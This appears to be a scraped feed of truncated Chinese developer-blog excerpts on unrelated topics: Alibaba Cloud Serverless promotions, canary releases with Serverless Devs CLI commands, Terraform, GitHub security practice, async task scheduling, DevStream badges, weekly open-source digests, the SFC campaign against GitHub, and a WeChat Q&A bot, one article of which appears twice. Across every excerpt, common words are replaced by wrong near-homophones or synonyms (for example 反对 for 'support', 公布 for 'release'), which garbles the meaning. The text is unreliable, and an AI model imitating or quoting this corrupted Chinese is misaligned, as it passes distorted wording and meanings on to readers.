不必掏手机，不必登微博，借助 SAE 定时工作就能够实现每小时获取实时新闻热搜！SAE 场景体验炽热开启中，参加还可领好礼！ Job 作为一种运完即停的负载类型，在企业级开发中承载着丰盛的应用场景。Serverless Job 将 Serverless 技术所带来的普惠红利从应用领域向外延展至工作畛域，通过联合 longrun+shortrun 的应用场景和最佳实际打造成为 Serverless 一体化企业级开发运维平台，以满足不同行业的差异化诉求，为用户提供更加欠缺多元的能力反对和稳固牢靠的技术保障。 Serverless Job 反对将传统的 XXL-JOB 零革新迁徙至SAE中，本场景将采纳 XXL-JOB 作为示例。创立并执行 demoJobHandler 和 shardingJobHandler 两个工作，让用户体验整个应用流程。 流动地址：https://developer.aliyun.com/... 流动工夫：2022.7.25-2022.8.2 流动步骤：Step1：实现《3 分钟创立 Serverless Job 定时获取新闻热搜》及《XXL-JOB 零革新迁徙》场景搭建。 Step2：实现《3 分钟创立 Serverless Job 定时获取新闻热搜》场景搭建，即可点击流动页面中的【支付奖品】链接，填写地址提交支付小风扇；同时可点击上面的【支付权利券】支付阿里云 5 元代金券。（流动期间每个工作日 10 点刷新 70 个小风扇和 500 张代金券） Step3：支付的小风扇会在流动完结后 15 个工作日内邮寄给您！ 试验过程中有任何疑难，欢送退出钉钉群（44810049）探讨！ 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

导读本文适宜： 想理解 Serverless 灰度公布的同学。认为以后 Serverless 灰度公布配置太简单，寻求简洁版灰度公布流程的同学。想理解 Serverless Devs 组件和插件之间关系的同学。Serverless 灰度公布什么是 Serverless ?Serverless 顾名思义就是无服务器，它是一种“来了就用，功能齐全，用完即走”的全新计算提供形式，用户无需预制或治理服务器即可运行代码，只需将代码从部署在服务器上，转换到部署到各厂商 Serverless 平台上；同时享受 Serverless 按需付费，高弹性，低运维老本，事件驱动，降本提效等劣势。 什么是 Serverless 灰度公布？灰度公布又称为金丝雀公布( Canary Deployment )。过来，矿工们下矿井前，会先放一只金丝雀到井内，如果金丝雀在矿井内没有因缺氧、气体中毒而死亡后，矿工们才会下井工作，能够说金丝雀爱护了工人们的生命。 与此相似，在软件开发过程中，也有一只金丝雀，也就是灰度公布（Gray release）：开发者会先将新开发的性能对局部用户凋谢，当新性能在这部分用户中可能安稳运行并且反馈侧面后，才会把新性能凋谢给所有用户。金丝雀公布就是从不公布，而后逐步过渡到正式公布的一个过程。 那么对于部署在 Serverless 平台上的函数应该怎么进行灰度公布呢？ 下文将以阿里云函数计算 FC 为例，为各位开展介绍。 灰度公布有一个流程，两种形式： 一个流程Serverless 灰度公布是通过配置别名来实现的，别名能够配置灰度版本和主版本的流量比例，在调用函数时应用配置好的别名即可将流量按比例发送到相应版本。 配置灰度公布的流程如下： Service 中公布一个新版本。创立或更新别名，配置别名关联新版本和稳固版本，新版本即为灰度版本。将触发器 ( Trigger ) 关联到别名。将自定义域名 ( Custom Domain ) 关联到别名。在调用函数中应用别名，流量会按配置比例发送到新版本和稳固版本。 传统做法有两种形式阿里云控制台 web 界面： 公布版本创立别名关联触发器关联自定义域名应用 Serverless Devs cli 公布版本s cli fc version publish --region cn-hangzhou --service-name fc-deploy-service --description "test publish version" 创立别名并设置灰度s cli fc alias publish --region cn-hangzhou --service-name fc-deploy-service --alias-name pre --version-id 1 --gversion 3 --weight 20 ...

在上篇中，次要介绍了 Serverless Devs 多环境性能的应用，用户读完可能会些疑难，本文会就一些常见问题进行下答复。 01 Serverless Devs 和 Terraform 的关系可能有些用户会问，既然你们曾经反对了 Terraform，那 Serverless Devs 还有什么作用，是不是间接用 Terraform 就能够了？Serverless Devs 和 Terraform 的定位还是显著不同的。Serverless Devs 面向利用治理及 DevOps，Terraform 面向云资源，是两个不同的畛域，但并不示意不能在某些层面有交加或者不能集成，集成和被集成能力原本就是开源工具是否标准化的一个衡量标准。Terraform 解决的是云资源的 Provisioning，这个畛域是有十分清晰的方法论的。而 Serverless Devs 更应该强调如何应用好云资源，两者的关系能够用几个场景阐明： Serverless Devs 更多关注如何把代码或者装置依赖分片上传到NAS上，更少关注VPC/交换机/平安组/NAS挂载点如何创立进去；Serverless Devs 更多关注如何把文件上传到 OSS，并且主动触发函数实现报表的生成，更少关注 OSS Bucket 如何创立；Serverless Devs 更多关注如何构建代码/镜像、制作 Layer、部署代码、公布版本、灰度放量来结构残缺的 CI/CD 体验，更少关注 FC 的网络、日志仓库、ACR 实例如何创立进去；Serverless Devs 更多关注如何近程调试代码，如何登陆到线上实例，如何通过日志以及监控疾速发现业务的异样；能够看到 Serverless Devs 更加重点关注的是利用运行态以及运维态的操作，这也是 Serverless 架构的工具最重要的使命，但 Serverless Devs 负责的是 Serverless 利用全生命周期治理，必然少不了资源的治理，咱们在实际过程中发现，无论是用云产品 SDK 还是 Pulumi 这类 GPLs 都须要投入很大精力在资源生命周期的对接上，这对于组件开发者对接更多云产品来说是十分低效的。而 Terraform 在这方面是最业余的，无论是标准化水平、受认可水平以及资源的丰盛度都能很好满足终端用户及开发者的需要，因而才触发 Serverless Devs 和 Terraform 联合这一想法。Serverless Devs 没有和 Terraform 耦合，相同的是让 Terraform 的 HCL 语言天然的在 Serverless Devs 的组件标准里玩转起来，能够认为是 Serverless Devs 反对多语言的一种能力。对开发者的价值是能够比拟低代码的实现基础设施的搭建，把精力投入到和 Serverless 利用生命周期治理相干的开发上，不然就得开发大量的资源CRUD代码，这个是十分低效的。 ...

作者 | 江昱（阿里云 Serverless 产品经理） 前言2022 年 6 月 15 日，信通院在中国信通院云原生产业大会上公布《基于无服务器架构的工具链能力要求》规范，至此寰球首个云原生 Serverless 凋谢工具链模型正式公布！Serverless Devs [1]作为开源凋谢的开发者工具积极参与工具链模型建设，为建立行业畛域对立标准施展出助推作用。 随着云计算倒退，以及云原生热度的攀升，Serverless 架构锋芒毕露且发展势头迅猛。不仅被更多开发者所关注，市场占有率也逐年进步。然而，业内各平台提供的 Serverless 服务存在较大差别，无形中减少了用户的学习、开发、调试、移植老本。各大云厂商和开源框架所能提供的 Serverless 服务（无论从能力范畴还是从产品状态、应用体验等方面）却不尽相同，因而许多开发者在抉择应用 Serverless 之初，最大的担心便是厂商绑定问题。 在 2021 年中国信息通信研究院公布的《中国云原生用户考察 2021》数据中明确提及：在驳回 Serverless 技术前，31.69% 的用户会思考厂商绑定问题，30.62% 的用户思考相干工具集的欠缺水平。 这些数据背地走漏的实际上是：开发者对于欠缺工具链的强烈需要和渴望。 基于这一景象，中国信通院公布的寰球首个云原生 Serverless 凋谢工具链模型，旨在交融不同实现形式之间的差别，形象出一套卓有成效的工具链标准，对立 Serverless 利用全生命周期的操作体验，驱动 Serverless 技术的标准化倒退与宽泛落地。 Serverless 凋谢工具链模型Serverless Devs 作为开源凋谢的开发者工具，自其立项始，便以晋升 Servelress 利用研发效力为指标，以让 Serverless 架构更好用、更易用为准则，冀望在 Serverless 利用全生命周期施展出重要作用。 Serverless Devs 不仅仅在工具链定位层面和信通院所公布的模型思路吻合（都是心愿通过对 Serverless 利用全生命周期治理能力的建设，助力开发者研发效力晋升，升高学习老本，晋升应用幸福感），在性能反对层面以及工具链产品状态上，也与该模型高度一致。 模型解读此次信通院所公布的《基于无服务器架构的工具链能力要求》规范，是对 Serverless 架构工具链体验层的标准与对立，做出规约。此举能够升高用户的应用与迁徙老本，有助于屏蔽不同实现形式之间的差别，进而推动无服务器架构技术的广泛应用。 （中国信通院公布） 《基于无服务器架构的工具链能力要求》：从能力框架动手，通过接入范畴、应用办法、操作模式等几个方面，对 Serverless 工具链的根本状态进行了规约；通过初始化配置、利用开发、利用调试、利用打包、部署公布以及利用下线几个阶段，对 Serverless 工具链的能力范畴，即全生命周期治理能力进行了更为粗疏的规约； 最初通过对撑持能力（包含不限于受权治理、触发治理、利用治理、运维治理、研运治理等几个方面）以及凋谢能力（包含不限于拓展开发、组件治理等几个方面）进一步对 Serverless 工具链的具体状态，所需性能进行了相干的形容。 通过该模型，各个平台所提供的 Serverless 开发者工具将趋于对立，更为标准。 ...

GitHub 是开发人员工作流程中不可或缺的一部分。无论你去哪个企业或开发团队，GitHub 都以某种模式存在。它被超过8300万开发人员，400万个组织和托管超过2亿个存储库应用。GitHub 是世界上最大的源代码托管服务平台。 GitHub 的应用便当与弱小反对坚固了其在市场中的主导地位。GitHub 用户群体无所不包，从业余小白到专业人士，从个人用户到大型企业组织，都在应用 GitHub。   应用 GitHub 就无需思考平安吗？GitHub 提供了许多工具和存储库设置避免数据泄露。但产生平安问题的根本原因往往在于疏于监管和平安常识匮乏。依据2019年公布的一项钻研，在对公共 GitHub 存储库进行全面扫描后，该平台上共发现了超过57万个敏感数据实例，例如 API 密钥，公有密钥，OAuth ID，AWS 拜访密钥 ID 和各种拜访 token。这些裸露的次要危险包含但不限于经济损失、隐衷泄露、数据完整性受损以及不同水平的滥用。为进步代码仓库的稳健性，和帮忙开发团队施行平安优先，咱们将一起探讨 GitHub 平安实际。   为什么须要增强 GitHub 平安实际？平安是所有软件开发团队都晓得且须要落实的事件，但往往被放在了最初一步，而粗率的做法和例行程序会升高基础架构和数据完整性的老本。GitHub 的市场位置、社区反对和普及率远超其余竞争对手，GitHub 也牵强附会地成为代码版本控制和利用开发流程的最强参照。但依据北卡罗来纳州立大学的一项钻研，对超过一百万个 GitHub 帐户进行为期六个月的间断扫描显示，蕴含用户名、明码、API 令牌、数据库快照、加密密钥和配置文件的文本字符串，是能够通过 GitHub 公开拜访的。其中包含超过 21万 个 Google API 密钥、超过 26000 个 AWS 拜访密钥，以及总计超过 28000 个社交媒体拜访 token。  更令人担忧的是，GitHub 上有542个 Stripe Standard API 密钥公开可用。这些信息足以让歹意攻击者间接拜访具备实在客户详细信息的帐户，一旦造成攻打，将对企业的经济、声誉、数据完整性造成毁灭性打击。   GitHub 最佳平安实际1. 切勿在 GitHub 上存储凭据和敏感数据GitHub 的目标是托管代码存储库。除了在帐户上设置的权限之外，没有其余平安办法能够确保您的密钥、私钥和敏感数据保留在受控且受爱护的环境中。  Git code commit 保留了已增加和删除内容的历史记录，从而使敏感数据永恒保留在分支上。当分支合并和 Fork 时，潜在的数据或基础架构平安危险可能会呈指数级增长。升高此危险的最简略办法是，在提交到分支之前不要在代码中存储凭据和敏感数据。能够在 CI/CD 流水线中应用 git-secreits 等工具。另一个办法是应用秘密和身份管理工具，如 Vault 和 Keycloak。  ...

随着云计算倒退，云原生热度攀升，Serverless 架构锋芒毕露且发展势头迅猛。不仅被更多开发者所关注，市场占有率也逐年进步。阿里云函数计算（Function Compute）是一个事件驱动的全托管 Serverless 计算服务，应用它你将无需再关怀底层云资源、服务器等基础设施，咱们为你筹备好计算资源，以弹性、牢靠的形式运行代码，助你轻松应答峰谷流量。 为了帮忙更多用户主观理解并应用阿里云函数计算 FC，阿里云开发者社区携手云原生利用平台 Serverless 团队公布 “Serverless 函数计算征集令”，您只需公布函数计算相干评测文章，即有机会取得千元好礼+ 千元函数计算资源包！ 流动工夫：2022年6月28日-7月31日 您将取得：好文奖品邀请 Serverless 业余导师团队，依据文章品质评出 参加奖品撰写函数计算评测文章，依据公布程序评出（注：奖品将于流动完结后两周内发放，用户可在页面自行支付对应身份的奖品福利。充值卡等虚构奖品会通过短信发放） 参加形式：申领免费资源额度-->场景体验-->发表原创文章-->提交文章-->审核通过-->参加评比/支付福利 流动主页见海报(注:流动面向所有阿里云注册并实名认证的用户，如不在流动页提交文章,将无奈参加支付奖品) 投稿方向：对函数计算FC产品能力的体验和倡议；应用函数计算 FC 创立利用的场景测评，如：基于 Serverless 架构的弹性高可用视频解决零碎、基于函数计算 FC 搭建云上博客等等；咱们心愿看到一些的最佳实际内容和对函数计算的实在应用感触，尽量图文并茂，文章字数需为 600 字以上。流动领导：为了帮忙各位笔出风范，咱们还提供专家技术领导，扫码退出云原生 Serverless 评测答疑群，第一工夫 Get 产品流动资讯，更有 Serverless 四大导师天团坐镇评测局，群内零距离在线互动答疑，助你下笔如有神，问鼎拿下笔林“一代宗师”！ （注：钉钉扫描海报二维码即可退出） 流动海报 立即公布你的第一篇测评文章吧！ 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

在上篇文章《解密函数计算异步工作能力之「工作的状态及生命周期治理」》中，咱们介绍了工作零碎的状态治理，并介绍了用户应如何依据需要，对工作状态信息进行实时的查问等操作。在本篇中咱们将会进一步走进函数计算异步工作，介绍异步工作的调度计划以及零碎在可观测性方面所反对的各项性能。一、任务调度任务调度多指零碎依据以后负载状况，将不同工作放到适合的计算资源中去执行的相干操作。一个欠缺的调度零碎往往须要均衡不同特点的工作间的隔离以及效率最优这两个需要。函数计算异步工作采纳了独立队列模型及主动负载平衡策略，具备在不影响解决性能的前提下进行多租隔离的能力。 Serverless Task 任务调度模型当用户提交一次工作后，零碎会将该工作转换为一条音讯，并通过异步下发的形式放入到外部队列中。一条音讯的解决流程如下图所示： 图 1整个零碎在任务调度方面的多租隔离及音讯积压管制方面次要依赖的是 Scheduler 对于队列的生产及管制。咱们当时会为每一位用户划分一个账号级别的队列，该用户的所有函数的异步调用（包含工作调用）会共享该队列。 这样的模型构造会保障每个用户的异步执行申请（包含工作调用）均不会受到其余用户的调用状况的影响。然而在一些大规模利用场景，如一个用户的函数很多，并且每个函数的调用量都很大的状况下，所有的异步音讯共用一个队列不免造成调用间的相互影响。局部长尾调用可能会过多的耗费队列的资源，导致其余函数的执行呈现饥饿的景象。 为了防止这种状况影响重要函数的执行，函数计算提供了更细力度的队列 - 函数级别的队列。能够通过对每个不同函数设置独自的队列，确保高优先级函数的生产状况不会受同账号下的其余函数执行的影响。队列间的关系如下图所示:图 2 典型的利用场景假如某用户 A 具备 2 个不同的工作函数。其中一个工作 A 因为上游服务的限度，须要一个音讯一个音讯的执行；而另外一个工作 B 是大并发工作，并且心愿尽快执行完。在默认模式下，工作 A 和 B 共享同一个用户队列；这时会呈现如下场景：工作 A 因为具备并发度限度，函数计算侧会对整个工作队列进行出队速率管制。这就导致了工作 B 的工作迟迟无奈出队。而当工作 A 执行完后，工作 B 失去了出队机会，此时并发度升高，工作 B 的音讯抢占了资源池进行执行，工作 A 又变得难以出队，很长时间也无奈开始一次执行。这样的后果就是无论 A 还是 B 都受到了对方业务的重大烦扰。 当进行队列调整后，工作 A 和 B 别离独占队列。在这种状况下工作 A 和 B 的生产速度不受对方影响，都能够达到本身的诉求。 目前 Serverless Task 提供了工作积压大盘，您能够在工作界面获取目前曾经积压的工作数，综合剖析是否须要开启函数的独占队列。 Serverless Task 工作队列负载平衡模型下面介绍了如何通过函数级别队列来避免出现 “Noisy Neighbour” 问题。然而在一些场景下，如果工作的并发量级过大，即使对该工作划分了单队列，也会导致工作的积压。这个问题的解决须要引入 Serverless Task 的负载平衡策略。 函数计算的工作解决模块具备 Partition 的概念。每个用户默认属于一个 Partition，负责该 Partition 的 Scheduler 会监听用户对应的工作队列。当呈现重大积压时，咱们会为用户依照负载状况调配多个 Partition，并交由不同的 Scheduler 负责生产，来晋升工作整体的生产速度。 ...

本文作者：Daniel Hu 个人主页：https://www.danielhu.cn/ 咦？咋回事？产生了啥？领导：“DevStream 社区贡献者证书又双叒降级了，胡涛，你写一篇文章宣传一下吧！”胡涛：“不就是个破证书嘛，有啥好宣传的。素材都没有。”领导：“你也想要证书了？”胡涛：“你懂我。这不，新版那么酷，净看他人秀，我能不艳羡吗？！”领导：“那你选一张吧。”胡涛：“小娃娃才做抉择。”领导：“……，批准了，你本人去挑。”……来，秀证书，看我首页！我的 GitHub https://github.com/daniel-hutao 自定义首页： 不行不行，飘了飘了，沉着沉着…… 上面，我来十分庄重地介绍下如何实现这个自定义首页成果。 要？第一步，收集证书！庄重？庄重不起来。庄重的事件留给文档，我只负责“搞笑”。 要想有一个“秀出天际”的 GitHub 首页，第一步你须要筹备几张 Credly 证书(徽章)，就像这样： 啥？你问我，到哪领证？这是一个庄重的问题。 来，先看看，证书分类。DevStream 社区目前有4大类证书(徽章)，别离是： 贡献者证书(徽章)演说家证书(徽章)布道师证书(徽章)卷王类证书(徽章)感触下圆滚滚的徽章全家福： 我晓得，此刻，你满脑子都是“What is 卷王认证”。别急，往下看！ 问，写代码，拿啥证书？代码类证书(徽章)次要有高级贡献者认证和高级贡献者认证： DevStream Certified Open-Source Contributor - AssociateDevStream Certified Open-Source Contributor - Professional怎么获取呢？ 提一个“不要太水”的 PR 就能够获取一张“高级贡献者证书(徽章)”了。比方： 改一个 bug；实现一个 feature（三五行代码还是不好意思拿证书滴）；补充一篇英文文档（三五行文档同样不太好意思吧）；实现一篇文档“英译中”（可千万别提交一个谷歌翻译版本）；高级证书呢？高级总得有点含金量吧，差不多就是高级的几十倍奉献量吧。比方30个 PR 或者3000行代码改变等； 若，颜值高，有没有证？靠脸吃饭，理所当然。刷脸类证书有高级演说家认证和高级演说家认证： DevStream Certified Talented Speaker - AssociateDevStream Certified Talented Speaker - Professional具体怎么刷脸呢？ 比方，录制几个音视频教程、参加 DevStream 社区例会并发表相干议题分享。 啥？感觉简略了？那就下台来个公开演讲，就像我这样，下台吹牛去。（当然，不得不说，我尽管下台了，然而很残暴，我的脸不值得观赏。） 总之，刷脸就能拿奖，刷的形式越虚夸，奖项级别越高。 那，布道师，又当如何？布道师啊，听着就酷，来，且看高级布道师认证和高级布道师认证： DevStream Certified Open-Source Evangelist - AssociateDevStream Certified Open-Source Evangelist - Professional布道布道，不就是技术布道那些事嘛。 ...

0，前言周刊保护在：https://github.com/eryajf/learning-weekly 欢送投稿，举荐或自荐我的项目/文章/博客，请提交 issue 。 这里记录咱们每周工作学习过程中遇到学到的优良开源我的项目，优良文章，以及优良博客。有很多优良的内容，都值得被铭刻，值得被分享，值得被更多人学习，咱们想通过这里每周的记录分享，一方面强化本人对优良内容的意识与学习，另一方面可能把优质内容对立汇总，以飨公众。 咱们的内容会以运维技术和Golang为主，以及GitHub上优良我的项目或教训。曾经通过一次筛选过滤的内容，品质不会太差，在你闲暇无事的时候，能够过去轻易看看，必能有所收益。 你也能够在我的博客 https://wiki.eryajf.net/pages/11c668/ 查看汇总周刊。 1，优良我的项目我的项目地址：halo我的项目阐明：一款现代化的开源博客 / CMS 零碎。这个我的项目当初曾经颇具影响力，文档以及我的项目配置都是值得学习的，有很深厚的积攒。相干文章：README,官网,文档站，论坛我的项目地址：heyui-admin我的项目阐明：基于 vue 和 heyui 组件库的中后端系统相干文章：README我的项目地址：dingtalk我的项目阐明：go版本的钉钉开发api，接口比拟全，保护比较稳定相干文章：README我的项目地址：go-redis-manager我的项目阐明：redis 客户端治理平台(redis manager)【部署简略便捷，SSH连贯，用户校验，操作日志等】相干文章：README我的项目地址：github-style我的项目阐明：一个github格调的hugo博客主题，蛮有意思的。相干文章：README我的项目地址：GitHub-userscripts我的项目阐明：增益GitHub相干性能的油猴脚本，有很多，能够一一体验相干文章：README我的项目地址：etcd-manage-server我的项目阐明：golang+vue开发的etcd治理后盾。相干文章：README我的项目地址：etcdWp我的项目阐明：Macos ETCD UI Desktop（ETCD Mac桌面应用程序）相干文章：README2，优良文章Github中watch，star，fork的含意如题开源我的项目捐献估算作者分享了本人收到的捐献，以及本人每个月往外捐献的估算3，优良博客博客地址：mikelLam简略阐明：运维，云原生，devops博客地址：Ops doesn't need to work overtime~简略阐明：运维老兵，内容品质高博客地址：猿码记简略阐明：golang，编程

前几天，一则对于 “GitHub 人工智能编程工具 Copilot 以67 元/月的费用正式上线”的音讯引发了开源圈的热议，一时间对于 Copilot 进犯隐衷、剽窃代码、忽视许可证以及“开源变付费”等以往争议话题再次被挖出来，且一直在社交媒体上发酵。 【相干浏览：Github AI 编程工具 Copilot 正式上线，“白嫖”时代完结，67 元/月！https://segmentfault.com/a/11...】 6月30日，软件自在爱护协会（SFC）官网公布了一篇题为《Give Up GitHub！》的博文，彻底“点燃”了开源圈长久以来的“怒火”。 SFC 在长文中示意：因为 GitHub 的不当行为，SFC 将完结所有 GitHub 的应用，并将帮助其余自由软件我的项目从 GitHub 迁徙 —— “咱们开始呐喊所有自在和开放源码软件开发者放弃GitHub”。 目前，SFC 方面已停止使用 GitHub 发展我的项目托管，并催促其他软件开发者一起退出。 为什么要放弃 GitHub？四宗罪“惹众怒”原来，此前 SFC 方面就对 GitHub Copilot（AI 编程工具）在公开代码上进行训练的合法性的示意质疑，而 GitHub 却始终回绝回应。因而，前几天 GitHub 刚发表 Copilot 正式上线且免费的音讯一经传出， SFC 便彻底“怒了”。 SFC 方面示意，呐喊放弃 GitHub 的起因有很多。在这里，他们列出了 GitHub 最次要的几宗罪。 （1）法律问题：波及隐衷、剽窃代码，忽视许可证家喻户晓，Copilot 是由微软及其GitHub子公司开发和销售的一种营利性产品，它应用人工智能（AI）技术为开发人员主动交互生成代码。依据GitHub本人的申明显示，该AI 模型仅应用托管在 GitHub 上的我的项目进行训练，包含许多应用copyleft许可证的我的项目。 【相干浏览：自由软件基金会批 GitHub Copilot：“不可承受且不公正”https://segmentfault.com/a/11...】 那么问题来了，因为这些我的项目大多不属于“公共畛域”，它们是依据FOSS（自在/开放源码软件）许可证取得许可的。所以这些许可要求包含适当的作者归属，在版权许可的状况下，它们有时要求基于或蕴含软件的作品在与先前作品雷同的版权许可下取得许可。 据报道，近年来微软和GitHub始终漠视这些许可要求。他们对这些行为的惟一“辩护”是前CEO的推特——他在推特中谬误地宣称，对于这个话题的悬而未决的法律实际上曾经解决。 （2）道德问题：利用FOSS我的项目专有化营利除了法律问题外，GitHub 抉择在创立专有软件的服务中应用版权保留的代码也会带来重大的道德影响。 2020年，社区发现GitHub与美国移民和海关执法局（ICE）签订了营利性软件服务合同。两年来，包含一些GitHub员工在内的流动人士始终呐喊GitHub勾销该合同。GitHub则回复称，他们的母公司微软多年来始终将Microsoft Word发售给ICE，没有任何公众投诉。 他们宣称，这在某种程度上证实了与政策有问题的机构发展更多业务的合理性。“不论你对ICE及其行为的认识如何，GitHub对提出这一重要问题的活动家们继续等闲视之和虚假的回应表明，GitHub将其利润置于社区关注之上。” ...

0，前言周刊保护在：https://github.com/eryajf/Lea... 欢送投稿，举荐或自荐我的项目/文章/博客，请提交 issue 。 这里记录咱们每周工作学习过程中遇到学到的优良开源我的项目，优良文章，以及优良博客。有很多优良的内容，都值得被铭刻，值得被分享，值得被更多人学习，咱们想通过这里每周的记录分享，一方面强化本人对优良内容的意识与学习，另一方面可能把优质内容对立汇总，以飨公众。 咱们的内容会以运维技术和Golang为主，以及GitHub上优良我的项目或教训。曾经通过一次筛选过滤的内容，品质不会太差，在你闲暇无事的时候，能够过去轻易看看，必能有所收益。 你也能够在我的博客 https://wiki.eryajf.net/pages... 查看汇总周刊。 1，优良我的项目我的项目地址：MiaoYan我的项目阐明：⛷ 轻灵的 Markdown 笔记本伴你写出妙言相干文章：README我的项目地址：go-awesome我的项目阐明：Go 语言优良资源整顿，为我的项目落地减速相干文章：README我的项目地址：awesome-actions我的项目阐明：在GitHub上应用的精彩操作的精选列表相干文章：README我的项目地址：Fast-GitHub我的项目阐明：国内Github下载很慢，这个插件将会主动替换官网地址，增加上减速的地址。相干文章：README我的项目地址：beekeeper-studio我的项目阐明：实用于MySQL、Postgres、SQLite、SQL Server等的古代且易于应用的SQL客户端。Linux、macOS和Windows。相干文章：README2，优良文章How To Use Environment Variables in Vue.js如何在Vue中应用环境变量，能够在docker部署时进行笼罩设置mac电脑息屏主动敞开蓝牙蛮有意思，午休的时候，你心愿蓝牙耳机应用手机连贯，就能够用上这个性能3，优良博客博客地址：Saki's 钻研记录简略阐明：golang，博客内容品质不错博客地址：chyroc简略阐明：golang开发者，飞书lark库开发者博客地址：张瑜的技术博客 Hackerdom's Blog简略阐明：博客整顿的开源我的项目周报不错博客地址：开源软件指南简略阐明：GitHub上星量很高的开源我的项目保护指南手册

主动音讯回复和机器人，始终是企业微信的专利。但在十分多场景或者人文习惯中，集体微信和微信群也同样须要它们。如果能够，会像核能这样的军用技术转民用，惠及更多人群。 比方流动组织者、团购团长、社群治理、私域流量运营者们，都要经营集体微信群。那就未免会遇到许多信息收集、征询发问的情况。群音讯不停弹出，整顿统计信息和回复耗费你大量精力，还可能产生错乱，功亏一篑。 但这些如果借助主动音讯回复和机器人，兴许很快就能解决。问题来了：如何在集体微信群中，取得弱小的主动回复 & 机器人能力呢？ GitHub 上的集体开发者 choogoo 就有同样的场景需要。身为国内某大厂的产品经理，他日常就喜爱做一点小程序或者网站去解决本人理论利用中的问题。 于是，一个名为「微信智能问答机器人零碎」的开源我的项目诞生了，繁冗的群信息对接治理能够轻松搞定。值得一提的是，vika维格表作为数据中台，在 choogoo 的开发过程中承当着重要一环。 戳视频查看问答机器人有多好用 从打羽毛球报名到上海团长的团购群治理这个问答机器人零碎，最开始用于解决 choogoo 在羽毛球流动报名上遇到的问题： 报名时，微信群里根本采取微信接龙或者复制粘贴前一个人信息的形式。因为不足协作性和实时信息汇总同步，过程中往往会呈现信息反复或者错漏的景象，须要组织者本人翻群聊记录逐个查看，耗时耗力。 如果是机器人，可能怎么解决呢？只须要 3 步： 组织者在群内揭示大家能够报名了； 想加入的人发送「报名」二字； 后盾获取信息，谁发了报名二字，进行统计。直观无纰漏。 这只是这个机器人零碎能够解决的其中一个小场景： 流动报名勾销报名流动揭示流动结算 再延开展来，流动报名之外，报名统计的各种场景其实都实用，比方团购、打卡等。于是这个开源我的项目进一步深刻，落地到了帮忙疫情期间上海团长的团购场景。 契机来自 choogoo 之前做过的一款小程序「群治理秘书」，几个团长因而找到他，心愿能帮忙解决一些团购遇到的难题。choogoo 就把这个机器人解决方案举荐给他们。 次要解决 2 个问题：一是发动和收集团购信息，二是答复群内的征询问题，比方到货状态。团长不可能 24 小时盯着微信群，但总有许多音讯须要收集和解答。 群内征询转换为客服后盾一对一聊天 这个微信智能问答机器人零碎能做到： 群内智能问答：自定义问答内容，智能匹配答案； 多个群雷同问题不同答复内容； 免打搅性能，应用「QA +群 ID +答复内容」匹配群，未配置问题答案的群不会受到机器人烦扰； 反对非群主小程序卡片、网页链接分享检测，主动揭示、正告发送者撤回； 反对快团团订货单转换，原始表发送到群即可主动转换为按楼栋统计表； 群聊天音讯存档到维格表； 简略客服后盾，能够把群内音讯按发言人列表辨别。 在微信对话开放平台设置问题与回复 如果你对这个问答机器人的开源我的项目感兴趣，或者想要间接利用，点击进入 GitHub 我的项目主页。 vika维格表便捷的 CMS 管理系统在 choogoo 的这个开源我的项目中，vika维格表为他节俭了大量的开发工夫。 咱们晓得，在传统的开发模式中，通常会将数据存储到本人的数据库中，但却解决不了数据可视化和治理问题，因而须要耗费资源和精力去另外搭建一套 CMS 内容管理系统。 ...

主动音讯回复和机器人，始终是企业微信的专利。但在十分多场景或者人文习惯中，集体微信和微信群也同样须要它们。如果能够，会像核能这样的军用技术转民用，惠及更多人群。 比方流动组织者、团购团长、社群治理、私域流量运营者们，都要经营集体微信群。那就未免会遇到许多信息收集、征询发问的情况。群音讯不停弹出，整顿统计信息和回复耗费你大量精力，还可能产生错乱，功亏一篑。 但这些如果借助主动音讯回复和机器人，兴许很快就能解决。问题来了：如何在集体微信群中，取得弱小的主动回复 & 机器人能力呢？ GitHub 上的集体开发者 choogoo 就有同样的场景需要。身为国内某大厂的产品经理，他日常就喜爱做一点小程序或者网站去解决本人理论利用中的问题。 于是，一个名为「微信智能问答机器人零碎」的开源我的项目诞生了，繁冗的群信息对接治理能够轻松搞定。值得一提的是，vika维格表作为数据中台，在 choogoo 的开发过程中承当着重要一环。 问答机器人示例：https://v.qq.com/x/page/a3337... 从打羽毛球报名到上海团长的团购群治理这个问答机器人零碎，最开始用于解决 choogoo 在羽毛球流动报名上遇到的问题： 报名时，微信群里根本采取微信接龙或者复制粘贴前一个人信息的形式。因为不足协作性和实时信息汇总同步，过程中往往会呈现信息反复或者错漏的景象，须要组织者本人翻群聊记录逐个查看，耗时耗力。如果是机器人，可能怎么解决呢？只须要 3 步： 组织者在群内揭示大家能够报名了；想加入的人发送「报名」二字；后盾获取信息，谁发了报名二字，进行统计。直观无纰漏。这只是这个机器人零碎能够解决的其中一个小场景： 流动报名-勾销报名-流动揭示-流动结算 再延开展来，流动报名之外，报名统计的各种场景其实都实用，比方团购、打卡等。于是这个开源我的项目进一步深刻，落地到了帮忙疫情期间上海团长的团购场景。 契机来自 choogoo 之前做过的一款小程序「群治理秘书」，几个团长因而找到他，心愿能帮忙解决一些团购遇到的难题。choogoo 就把这个机器人解决方案举荐给他们。 次要解决 2 个问题：一是发动和收集团购信息，二是答复群内的征询问题，比方到货状态。团长不可能 24 小时盯着微信群，但总有许多音讯须要收集和解答。 群内征询转换为客服后盾一对一聊天 这个微信智能问答机器人零碎能做到： 群内智能问答：自定义问答内容，智能匹配答案；多个群雷同问题不同答复内容；免打搅性能，应用「QA +群 ID +答复内容」匹配群，未配置问题答案的群不会受到机器人烦扰；反对非群主小程序卡片、网页链接分享检测，主动揭示、正告发送者撤回；反对快团团订货单转换，原始表发送到群即可主动转换为按楼栋统计表；群聊天音讯存档到维格表；简略客服后盾，能够把群内音讯按发言人列表辨别。在微信对话开放平台设置问题与回复 如果你对这个问答机器人的开源我的项目感兴趣，或者想要间接利用，点击进入 GitHub 我的项目主页。 vika维格表：便捷的 CMS 管理系统在 choogoo 的这个开源我的项目中，vika维格表为他节俭了大量的开发工夫。 咱们晓得，在传统的开发模式中，通常会将数据存储到本人的数据库中，但却解决不了数据可视化和治理问题，因而须要耗费资源和精力去另外搭建一套 CMS 内容管理系统。 对于 choogoo 来说，投入老本有些大了，技术要求也高。作为 PM 出身的本人，很快找到一个思路： 